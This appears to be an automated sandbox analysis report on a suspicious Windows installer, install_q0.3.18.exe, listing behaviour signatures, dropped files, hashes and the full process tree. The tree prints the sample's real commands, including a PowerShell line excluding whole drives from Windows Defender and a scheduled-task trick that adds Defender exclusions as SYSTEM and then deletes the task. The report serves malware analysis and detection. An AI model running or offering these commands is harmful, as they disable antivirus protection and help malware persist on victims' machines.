Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 23:11

General

  • Target
    install_q0.3.18.exe
  • Size 25.8MB
  • Sample260830-26jblstyav
  • SHA256 8459ba507b8a3e1be12abfa449f0b32dd97b3f81c9bb7ad5854e83d8c6087004
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.18.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.18.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1680
  • C:\Users\Public\gf1sQ3\OfrzfP.exe
    "C:\Users\Public\gf1sQ3\OfrzfP.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4236
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gf1sQ3\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gf1sQ3\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3360
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4320
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1300
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2524
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5848
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2656
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2796
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3696
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5824
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3536
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2196
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2356
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4144
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5484
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5720
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5724
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3988
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5948
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4876
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gf1sQ3" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1000
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gf1sQ3" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:800
                      • C:\Users\Public\gf1sQ3\OfrzfP.exe
                        "C:\Users\Public\gf1sQ3\OfrzfP.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5284
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4332
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6064
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4616
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:804
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1060

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              OfrzfP.exe

                              • Path C:\Users\Public\gf1sQ3\OfrzfP.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\gf1sQ3\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 f908bb7f4e2658ea61eb972dcad26ece63035e8908ff8792fc5717002b244c05
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\gf1sQ3\adoresd.dat
                              • Size 4.7MB
                              • SHA256 e33648c0a0624b6d475d5fcc6ee84af0004bc4d8099835813abb86bac9878990
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\gf1sQ3\msadox.tb
                              • Size 8KB
                              • SHA256 8fc5c9349761bd3a6c9fced2591e67e6553d2c095d6903670229e2b5ea31d542
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1380-556-0x000001D9D06F0000-0x000001D9D073E000-memory.dmp

                              memory/1380-557-0x000001D9D07D0000-0x000001D9D085A000-memory.dmp

                              memory/1380-603-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-567-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-530-0x00007FF8275F0000-0x00007FF8275F2000-memory.dmp

                              memory/1380-531-0x00007FF806F70000-0x00007FF80748E000-memory.dmp

                              memory/1380-566-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-564-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-537-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-561-0x000001D9D07D0000-0x000001D9D085A000-memory.dmp

                              memory/1380-539-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-543-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-544-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-545-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-546-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-550-0x000001D9CFE60000-0x000001D9D06E7000-memory.dmp

                              memory/1380-538-0x00007FF827600000-0x00007FF827602000-memory.dmp

                              memory/1380-559-0x000001D9D07D0000-0x000001D9D085A000-memory.dmp

                              memory/1380-558-0x000001D9D07D0000-0x000001D9D085A000-memory.dmp

                              memory/1680-525-0x00007FF81EBA0000-0x00007FF81EBB2000-memory.dmp

                              memory/1680-2-0x00000000008B0000-0x00000000008BC000-memory.dmp

                              memory/1680-1-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/1680-504-0x00007FF81EBA0000-0x00007FF81EBB2000-memory.dmp

                              memory/1680-524-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/1680-0-0x0000000000480000-0x000000000048E000-memory.dmp

                              memory/4236-608-0x00000280BEF70000-0x00000280BEF7A000-memory.dmp

                              memory/4236-607-0x00000280BEEB0000-0x00000280BEF62000-memory.dmp

                              memory/4236-606-0x00000280BEE90000-0x00000280BEEAE000-memory.dmp

                              memory/4236-601-0x00000280BEB20000-0x00000280BEB42000-memory.dmp

                              memory/5284-586-0x0000024A78990000-0x0000024A79217000-memory.dmp

                              memory/5284-584-0x0000024A78990000-0x0000024A79217000-memory.dmp

                              memory/5284-587-0x00007FF8275F0000-0x00007FF8275F2000-memory.dmp

                              memory/5284-583-0x0000024A78990000-0x0000024A79217000-memory.dmp

                              memory/5284-578-0x00007FF827600000-0x00007FF827602000-memory.dmp

                              memory/5284-579-0x0000024A78990000-0x0000024A79217000-memory.dmp

                              memory/5284-577-0x0000024A78990000-0x0000024A79217000-memory.dmp

                              memory/5284-573-0x00007FF806F70000-0x00007FF80748E000-memory.dmp

                              memory/5284-585-0x0000024A78990000-0x0000024A79217000-memory.dmp